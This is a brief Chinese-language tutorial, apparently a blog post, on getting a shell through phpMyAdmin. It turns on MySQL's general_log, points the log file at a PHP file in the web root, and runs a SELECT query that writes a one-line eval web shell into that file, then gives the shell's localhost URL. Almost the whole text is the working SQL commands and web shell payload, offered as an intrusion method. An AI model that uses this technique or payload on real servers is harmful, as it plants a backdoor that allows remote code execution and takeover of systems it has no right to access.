经过 phpmyadmin getshell

经过 phpmyadmin  getshell

general_log默认为关闭的，root权限开启后，general_log_file会保存全部的查询语句

能够开启general_log，而后设置general_log_file为一个php文件，最后用一句话木马进行查询来获取shell

进入phpmyadmin后在SQL处执行SQL语句

首先查看general log是否开启

show variables like 'general_log';

 

general log是关闭状态，执行SQL语句开启general log

SET GLOBAL general_log = ON

 

 

开启成功

而后把general_log_file设置为shell的绝对路径

SET global general_log_file='D:/wamp/www/orange.php';

 

看下刚刚建立的orange.php里的内容

 

而后执行SQL查询语句，写个一句话进去。

SELECT '<?php @eval($_POST["orange"]);?>';

 

如今再看下orange.php里面的内容

成功插入了一句话木马

一句话连接在根目录（http://127.0.0.1/orange.php）

 

 

至此结束！

任重而道远！